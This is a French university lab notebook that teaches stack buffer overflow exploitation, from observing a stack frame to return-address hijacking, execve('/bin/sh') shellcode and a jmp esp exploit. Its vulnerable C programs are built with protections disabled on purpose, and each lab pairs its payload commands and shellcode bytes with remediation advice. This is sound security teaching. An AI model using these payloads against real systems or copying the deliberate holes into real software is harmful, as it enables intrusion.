Unité 2 — Cahier de laboratoire (étudiant)

Livrable C — Exploitation de binaires : stack0 → jmp esp · UE « Software Security »

Enseignement supérieur de promotion sociale · Code UE 7532 14 U32 D1 · Document étudiant · 11 octobre 2026

Cadre légal et éthique. Les manipulations offensives de ce cahier ne doivent être réalisées que sur les programmes vulnérables fournis, dans l'environnement de laboratoire isolé prévu à cet effet. Exploiter un système sans autorisation est illégal. L'objectif est de *comprendre* les failles pour savoir les *corriger*.

Lab 2.0 — Mise en place de l'environnement

OS : Linux x86-64 avec support 32 bits. **Outils :** `gcc` (+ multilib), `gdb`, `radare2`, `objdump`, `python3`, `strace`, `pwntools` (utilisé par le script de référence du Lab 2.6).
Dockerfile et compose.yaml sont fournis dans le dépôt.

Conteneur Docker (une fois par poste) :

SHELL

```
docker compose build
LAB_UID=$(id -u) LAB_GID=$(id -g) docker compose run --rm lab bash
# dans le conteneur :
bash scripts/build.sh          # construit bin/stack0 .. bin/stack5
```

Compilation (drapeaux communs à tous les labos) :

COMPILATION — PROTECTIONS DÉSACTIVÉES VOLONTAIREMENT (CADRE PÉDAGOGIQUE)

```
gcc -m32 -O0 -g -fno-pie -no-pie -fno-stack-protector -z execstack PROG.c -o bin/PROG
```

ASLR : réglages facultatifs selon les permissions :

DÉSACTIVATION ASLR

```
setarch -R ./bin/PROG [args]        # peut etre refuse dans Docker
# (sur la VM, en root : echo 0 > /proc/sys/kernel/randomize_va_space)
```

Signification des drapeaux : `-m32` binaire 32 bits · `-fno-pie` `-no-pie` adresses fixes (non-PIE) · `-fno-stack-protector` pas de canary · `-z execstack` pile exécutable (nécessaire aux Labs 2.5–2.6, sans effet ailleurs) · `-O0` pas d'optimisation (trame de pile simple et stable) · `-g` symboles de debug. GDB est utilisé dès le Lab 2.1 pour observer la pile.

Lab 2.1 — Observer la trame de pile (stack0) EXERCICE GUIDÉ

1. Objectifs pédagogiques

- Lire concrètement une trame de pile sous GDB.
- Identifier EBP sauvé, adresse de retour et paramètres en mémoire.

2. Prérequis

- Cours U2 §3. Notions de registre et d'adresse hexadécimale.

3. Environnement

Environnement Lab 2.0. Aucun privilège particulier.

4. Fichiers sources

SRC/STACK0.C

```
#include <stdio.h>
int add(int a, int b) { return a + b; }
int main(void) {
    int a = 1, b = 2, c = 3;
    int result = add(add(a, b), c);
    printf("result = %d\n", result);
    return 0;
}
```

5. Commandes à exécuter

SHELL

```
gcc -m32 -O0 -g -fno-pie -no-pie -fno-stack-protector -z execstack src/stack0.c -o bin/stack0
./bin/stack0
objdump -d -M intel bin/stack0 | less      # reperer main et add
gdb -q ./bin/stack0
```

6. Manipulations pas à pas

> a. Compilez et exécutez ; notez la sortie.

> b. Désassemblez `main` et `add` (`objdump` ou, dans GDB, `disassemble main`). Repérez le `call add` et l'instruction qui le suit (= future adresse de retour).

> c. Sous GDB : `break add`, `run`, puis `x/4xw $ebp`. Relevez `$eip $esp $ebp` (`info registers`).

> d. Identifiez dans le dump : `[ebp]` (ancien EBP), `[ebp+4]` (adresse de retour), `[ebp+8]` et `[ebp+12]` (les arguments a, b du premier appel `add(1, 2)`).

7. Résultats attendus

La sortie du programme est **result = 6**. À `[ebp+4]` vous trouvez une adresse qui correspond **exactement** à l'instruction suivant le `call add` dans `main`. À `[ebp+8]` / `[ebp+12]`, les valeurs `1` et `2`. (Les adresses absolues de pile diffèrent sur votre machine.)

8. Explications techniques

Le `call` a empilé l'adresse de retour ; le prologue a empilé l'ancien EBP et réservé la place des locales. L'adresse de retour n'est qu'une donnée en pile — d'où la vulnérabilité des unités suivantes.

9. Questions de réflexion

1. Pourquoi l'adresse trouvée en `[ebp+4]` égale-t-elle l'instruction post-`call` ?
2. Que ferait le programme si l'on remplaçait cette valeur par une autre adresse valide ?
3. Où, par rapport au tampon d'une fonction, se situe l'adresse de retour : avant ou après en mémoire ? Dans quel sens `strcpy` écrit-il ?

10. Vulnérabilité étudiée & remédiation

Pas de vulnérabilité ici : programme d'observation. Il établit la cible (adresse de retour) des labos suivants.

11. Durée estimée

30 min.

12. Corrigé détaillé : voir le cahier enseignant (livrable D), Lab 2.1.

Lab 2.2 — Modifier une variable par débordement (stack1)

EXERCICE GUIDÉ

1. Objectifs pédagogiques

- Provoquer un débordement contrôlé.
- Déterminer expérimentalement l'offset tampon → variable voisine.
- Fixer la variable à une valeur choisie.

2. Prérequis

- Lab 2.1. Encodage d'octets via Python.

3. Environnement

Environnement Lab 2.0.

4. Fichiers sources

SRC/STACK1.C

```
#include <stdio.h>
#include <string.h>
struct frame { char buffer[32]; unsigned int value; };
int main(int argc, char **argv) {
    struct frame f = {{0}, 0};
    if (argc != 2) { fprintf(stderr, "Usage: %s INPUT\n", argv[0]); return 1; }
    strcpy(f.buffer, argv[1]);              /* copie non bornee */
    printf("value = 0x%08x\n", f.value);
    return 0;
}
```

5. Commandes à exécuter

SHELL

```
gcc -m32 -O0 -g -fno-pie -no-pie -fno-stack-protector -z execstack src/stack1.c -o bin/stack1
./bin/stack1 bonjour
# le tampon fait 32 octets ; value est juste apres. Fixer value = 0x42424242 :
./bin/stack1 "$(python3 -c 'import sys;sys.stdout.buffer.write(b"A"*32 + b"B"*4)')"
```

6. Manipulations pas à pas

> a. Exécutez avec une entrée courte (comportement normal).

> b. Augmentez la longueur de l'entrée jusqu'à atteindre `value` : le tampon faisant 32 octets, les octets 33 à 36 écrivent dans `value`.

> c. Construisez une entrée qui fixe la variable à une valeur précise (attention à l'ordre des octets, little-endian).

> d. Confirmez par la sortie du programme.

7. Résultats attendus

Avec 32 `A` suivis de 4 `B`, la sortie est **value = 0x42424242** (code ASCII de « B »).

8. Explications techniques

Le tampon et `value` sont voisins dans la structure ; `strcpy` écrit au-delà du tampon et atteint `value`. L'écriture est little-endian : l'octet de poids faible en premier.

9. Questions de réflexion

1. Quel est l'offset exact sur votre machine ? Comment l'avez-vous déterminé ?
2. Pourquoi 0x42 ? Quelle est la valeur ASCII de « B » ?
3. Quels octets faut-il pour obtenir `value == 0x12345678` ?
4. Quelle fonction, et quelle correction d'une ligne, suppriment la faille ?

10. Vulnérabilité étudiée & remédiation

Vulnérabilité : débordement de tampon (CWE-121, stack-based). **Remédiation :** borner la copie — `strncpy(buffer, argv[1], sizeof(buffer)-1)` et terminer par `\0`, ou valider la longueur avant copie.

11. Durée estimée

45 min.

12. Corrigé détaillé : voir le cahier enseignant (livrable D), Lab 2.2.

Lab 2.3 — Atteindre une valeur cible (stack2) EXERCICE AUTONOME

1. Objectifs pédagogiques

- Transposer la méthode du Lab 2.2 de façon autonome.
- Fabriquer un payload qui satisfait une condition d'égalité.

2. Prérequis

- Labs 2.1–2.2.

3. Environnement

Environnement Lab 2.0.

4. Fichiers sources

SRC/STACK2.C

```
#include <stdio.h>
#include <string.h>
struct frame { char buffer[10]; unsigned char value; };
int main(int argc, char **argv) {
    struct frame f = {{0}, 0};
    if (argc != 2) { fprintf(stderr, "Usage: %s INPUT\n", argv[0]); return 1; }
    strcpy(f.buffer, argv[1]);              /* copie non bornee */
    printf("value = 0x%02x\n", f.value);
    if (f.value == 0xf7) puts("Condition atteinte");
    return 0;
}
```

5. Commandes à exécuter

SHELL — À COMPLÉTER

```
gcc -m32 -O0 -g -fno-pie -no-pie -fno-stack-protector -z execstack src/stack2.c -o bin/stack2
# a vous de jouer : le tampon fait 10 octets, value est l'octet suivant.
# indice (meltypot) : on passe des octets hexa via python, p.ex.
# ./bin/stack2 "$(python3 -c 'import sys;sys.stdout.buffer.write(b"A"*N + b"\xf7")')"
```

6. Manipulations pas à pas

> a. Déterminez l'offset tampon → `value` (le tampon fait ici 10 octets).

> b. Le programme teste `value == 0xf7`. Fabriquez l'entrée correspondante (pensez à l'octet nul : `strcpy` s'arrête au premier `\0` — tenez-en compte).

> c. Déclenchez le message de succès.

7. Résultats attendus

Avec 10 `A` suivis de `\xf7`, la sortie affiche **value = 0xf7** puis **Condition atteinte**. (Offset à confirmer vous-même.)

8. Explications techniques

`value` (un seul octet) est initialisée à 0. En n'écrasant que cet octet, vous obtenez exactement `0xf7`. Un octet nul dans le payload arrêterait `strcpy`.

9. Questions de réflexion

1. Pourquoi un seul octet suffit-il ici, alors qu'au Lab 2.2 il en fallait quatre ?
2. Comment obtiendriez-vous `value == 0x00` ? Et une valeur sur plusieurs octets dont l'un est nul — est-ce possible avec `strcpy` et pourquoi ?
3. En quoi la présence d'octets nuls limite-t-elle les payloads d'exploitation en général ?

10. Vulnérabilité étudiée & remédiation

Vulnérabilité : CWE-121. **Remédiation :** idem Lab 2.2 (copie bornée).

11. Durée estimée

45 min.

12. Corrigé détaillé : voir le cahier enseignant (livrable D), Lab 2.3.

Lab 2.4 — Détourner le flot d'exécution vers func (stack3)

EXERCICE GUIDÉ

1. Objectifs pédagogiques

- Écraser l'adresse de retour pour appeler une fonction une seconde fois.
- Mesurer l'offset jusqu'à l'adresse de retour.
- Localiser l'adresse d'une fonction (radare2 / objdump).

2. Prérequis

- Labs 2.1–2.3.

3. Environnement

Environnement Lab 2.0, ASLR désactivé.

4. Fichiers sources

SRC/STACK3.C

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
__attribute__((noinline)) void func(void) { puts("Bienvenue dans func()"); }
__attribute__((noinline)) void greet(const char *name) {
    char buffer[32];
    strcpy(buffer, name);                   /* debordement possible */
    printf("Bonjour %s\n", buffer);
}
int main(int argc, char **argv) {
    if (argc != 2) { fprintf(stderr, "Usage: %s NAME\n", argv[0]); return 1; }
    func();                                 /* appel legitime */
    greet(argv[1]);
    return 0;
}
```

5. Commandes à exécuter

SHELL

```
gcc -m32 -O0 -g -fno-pie -no-pie -fno-stack-protector -z execstack src/stack3.c -o bin/stack3
# 1) trouver l'offset de l'adresse de retour (motif cyclique + GDB) :
gdb -q ./bin/stack3
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK
(gdb) info registers eip        # EIP ecrase -> reperer le motif
# 2) trouver l'adresse de func :
objdump -d -M intel bin/stack3 | grep -A1 "<func>:"
r2 -q -c "afl~func" bin/stack3
# 3) rejouer :
./bin/stack3 "$(python3 -c 'import sys;sys.stdout.buffer.write(b"A"*OFFSET + ADRESSE_func_LE)')"
```

6. Manipulations pas à pas

> a. Mesurez l'offset jusqu'à l'adresse de retour (motif cyclique, puis lecture d'`eip` au plantage ; ou balayage `A*n + BBBB` jusqu'à `eip=0x42424242`).

> b. Récupérez l'adresse de `func` (objdump/radare2) et encodez-la en little-endian.

> c. Construisez l'entrée `A*offset + &func` et observez : le message de `func` doit apparaître **deux fois**.

7. Résultats attendus

L'offset observé jusqu'à l'adresse de retour est de **44 octets**. EIP passe sous votre contrôle ; avec l'adresse de `func`, le message « Bienvenue dans func() » s'affiche deux fois (l'appel légitime, puis le vôtre via l'adresse de retour écrasée) avant le plantage final.

8. Explications techniques

Après le `ret` de `greet`, le CPU saute à l'adresse que vous avez placée = `func`. `func` s'exécute puis tente de revenir vers une adresse invalide (vos « A ») → plantage. Vous contrôlez désormais `eip`.

9. Questions de réflexion

1. Quel est l'offset exact (tampon + EBP sauvé) sur votre machine ? Pourquoi 44 et non 36 ?
2. Pourquoi l'adresse est-elle écrite « à l'envers » (little-endian) ?
3. Que se passe-t-il juste après l'exécution de `func` détournée, et pourquoi ?

10. Vulnérabilité étudiée & remédiation

Vulnérabilité : débordement de pile menant au détournement de flot (CWE-121 → CWE-787/CWE-94).
Remédiation : copie bornée + conserver canary/NX/ASLR/PIE (Unité 4).

11. Durée estimée

1 h.

12. Corrigé détaillé : voir le cahier enseignant (livrable D), Lab 2.4.

APPROFONDISSEMENTS (FACULTATIF) — LABS 2.5 ET 2.6

Lab 2.5 — Démonstration d'un shellcode x86 (stack4) DÉMONSTRATION

1. Objectifs pédagogiques

- Comprendre la structure d'un shellcode `execve("/bin/sh")`.
- Exécuter un shellcode placé sur la pile et observer un marqueur de réussite.

2. Prérequis

- Lab 2.4. Notions d'appels système (U2 §6).

3. Environnement

Environnement Lab 2.0.

4. Fichiers sources

SRC/SHELLCODE.S (ASSEMBLEUR)

```
; execve("/bin/sh", NULL, NULL) - i386 - 25 octets, sans \x00
xor eax, eax
push eax
push 0x68732f2f      ; "//sh"
push 0x6e69622f      ; "/bin"
mov  ebx, esp
push eax
push ebx
mov  ecx, esp
xor  edx, edx
mov  al, 0x0b        ; __NR_execve
int  0x80
```

SRC/STACK4.C (CHARGEUR AUTONOME)

```
#include <stdio.h>
#include <string.h>

/* Shellcode i386 fourni : execve("/bin/sh", NULL, NULL) - 25 octets, sans \x00 */
unsigned char shellcode[] =
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
  "\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";

int main(void) {
    char buf[64];                              /* tampon sur la pile (executable) */
    memcpy(buf, shellcode, sizeof(shellcode));
    printf("shellcode (%zu octets) place sur la pile @ %p\n",
           sizeof(shellcode) - 1, (void *)buf);
    fflush(stdout);
    ((void (*)(void))buf)();                     /* saut vers le shellcode */
    return 0;
}
```

5. Commandes à exécuter

SHELL

```
# assembler/verifier le shellcode (aucun octet nul) :
rasm2 -a x86 -b 32 -f src/shellcode.s        # optionnel : verification
# construire et tester le shellcode seul :
gcc -m32 -O0 -g -fno-pie -no-pie -fno-stack-protector -z execstack src/stack4.c -o bin/stack4
printf 'echo SHELLCODE_OK\nexit\n' | ./bin/stack4
```

6. Manipulations pas à pas

> a. Assemblez le shellcode ; vérifiez l'absence d'octet nul (25 octets).

> b. Compilez `src/stack4.c` : il copie le shellcode sur la pile et y saute.

> c. Alimentez le shell obtenu avec `echo SHELLCODE_OK` pour produire un marqueur observable et vérifiable.

7. Résultats attendus

Le programme affiche la ligne `shellcode (25 octets) place sur la pile @ 0x...`, puis le shell exécute la commande injectée et affiche **SHELLCODE_OK**.

8. Explications techniques

Le shellcode place « /bin//sh » sur la pile, remplit `eax=0x0b`, `ebx/ecx/edx`, puis `int 0x80` → `execve`. Le shell ainsi ouvert lit `echo SHELLCODE_OK` sur son entrée standard : la chaîne confirme l'exécution de code arbitraire de façon automatisable.

9. Questions de réflexion

1. Pourquoi un octet nul casserait-il le payload ?
2. Pourquoi la pile doit-elle être exécutable (`-z execstack`) pour ce lab ?
3. En quoi cette démonstration « autonome » (chargeur dédié) diffère-t-elle d'une véritable exploitation par débordement (Lab 2.6) ?

10. Vulnérabilité étudiée & remédiation

Vulnérabilité : exécution de code arbitraire (CWE-94). **Remédiation :** NX/DEP (pile non exécutable) neutralise le shellcode en pile ; + copie bornée.

11. Durée estimée

1 h 30.

12. Corrigé détaillé : voir le cahier enseignant (livrable D), Lab 2.5.

Lab 2.6 — Fiabiliser l'exploit : jmp esp (stack5) EXERCICE AUTONOME

1. Objectifs pédagogiques

- Rendre l'exploit indépendant de l'adresse exacte de la pile.
- Trouver et exploiter un gadget `jmp esp` à adresse fixe.

2. Prérequis

- Labs 2.4–2.5.

3. Environnement

Environnement Lab 2.0. ASLR indifférent (voir ci-dessous).

4. Fichiers sources

Programme vulnérable distinct `src/stack5.c` (indépendant de `stack3`) et shellcode du Lab 2.5. Un script de référence `src/exploit_stack5.py` (pwntools) est fourni ; sa version complète figure au corrigé enseignant (livrable D).

SRC/STACK5.C

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/* Gadget 'jmp esp' (octets ff e4) fourni a une ADRESSE FIXE dans le binaire
   (compile -no-pie). Avantages pour un labo reproductible :
   - adresse identique sous GDB, hors GDB, quelle que soit la longueur d'argv/env
     et l'etat de l'ASLR ; aucune adresse memoire codee en dur ;
   - on n'execute aucune adresse libc (dont la base varie selon l'environnement). */
__asm__(
    ".text\n"
    ".globl jmp_esp_gadget\n"
    ".type  jmp_esp_gadget, @function\n"
    "jmp_esp_gadget:\n"
    "    jmp *%esp\n"
    ".size  jmp_esp_gadget, .-jmp_esp_gadget\n"
);

__attribute__((noinline)) void greet(const char *name) {
    char buffer[40];
    strcpy(buffer, name);                   /* debordement possible */
    printf("Bonjour %s\n", buffer);
}
int main(int argc, char **argv) {
    if (argc != 2) { fprintf(stderr, "Usage: %s NAME\n", argv[0]); return 1; }
    greet(argv[1]);
    return 0;
}
```

5. Commandes à exécuter

SHELL — DÉMONSTRATION (FOURNIE)

```
bash scripts/build.sh           # produit bin/stack5 (pile executable)
python3 src/exploit_stack5.py   # -> doit afficher : STACK5_OK
```

SHELL — À COMPLÉTER (RECHERCHE DE GADGET)

```
# 1) localiser un gadget 'jmp esp' (octets ff e4) a adresse fixe dans le binaire -no-pie :
objdump -d -M intel bin/stack5 | grep "ff e4"
# 2) mesurer l'offset jusqu'a l'adresse de retour (cf. Lab 2.4, motif cyclique)
# 3) payload :  A*OFFSET + adresse(jmp esp) + shellcode   (shellcode APRES l'adresse de retour)
```

6. Manipulations pas à pas

> a. Localisez un `jmp esp` à adresse fixe. Le binaire `-no-pie` en fournit un : son adresse est identique à chaque exécution, **indépendamment de l'ASLR et de la libc** — c'est ce qui rend le labo reproductible.

> b. Construisez `A*offset + &(jmp esp) + shellcode` (le shellcode est placé juste après l'adresse de retour). Vérifiez l'absence d'octet nul.

> c. Exécutez et obtenez `STACK5_OK` ; expliquez pourquoi ce payload ne dépend pas de l'adresse absolue de la pile.

7. Résultats attendus

Au `ret`, `eip = jmp esp` ; `esp` pointe alors sur le shellcode placé juste après ; `jmp esp` y saute → le shellcode affiche **STACK5_OK**. Le script de référence détermine l'offset automatiquement (motif cyclique + core) et **fonctionne aussi sans fichier core** grâce à une méthode alternative (repli par oracle) : aucune adresse codée en dur, aucune manipulation GDB à répéter.

8. Explications techniques

`jmp esp` transforme la valeur courante de `esp` en destination : quel que soit l'emplacement de la pile, `esp` pointe sur nos octets. En prenant le gadget dans le binaire `-no-pie` (adresse fixe) plutôt que dans la libc (dont la base varie selon l'environnement et diffère sous GDB), l'exploit devient déterministe et reproductible pour tous les postes.

9. Questions de réflexion

1. Pourquoi une adresse de gadget relevée sous GDB peut-elle échouer hors GDB ?
2. En quoi `jmp esp` supprime-t-il la dépendance à l'adresse absolue de la pile ?
3. Si la pile n'était pas exécutable (NX actif), cette technique fonctionnerait-elle ? Que faudrait-il alors ? (introduction à ret-to-libc / ROP, Unité 4).

10. Vulnérabilité étudiée & remédiation

Vulnérabilité : CWE-94. **Remédiation :** NX rend le shellcode en pile inopérant ; ASLR randomise les adresses ; PIE/RELRO durcissent le binaire (Unité 4).

11. Durée estimée

1 h 30 (dont recherche de gadget).

12. Corrigé détaillé : voir le cahier enseignant (livrable D), Lab 2.6.

Progression et exercices repris/adaptés du support de référence meltypot (stack0–stack5, « Getting a shell », « Jumping to the top of the stack »). Les sources C des programmes (stack0–stack5), le chargeur src/stack4.c et le script src/exploit_stack5.py sont des reconstructions/ajouts conformes au comportement testé en laboratoire (VM Ubuntu x86-64, Docker) ; elles sont signalées comme telles.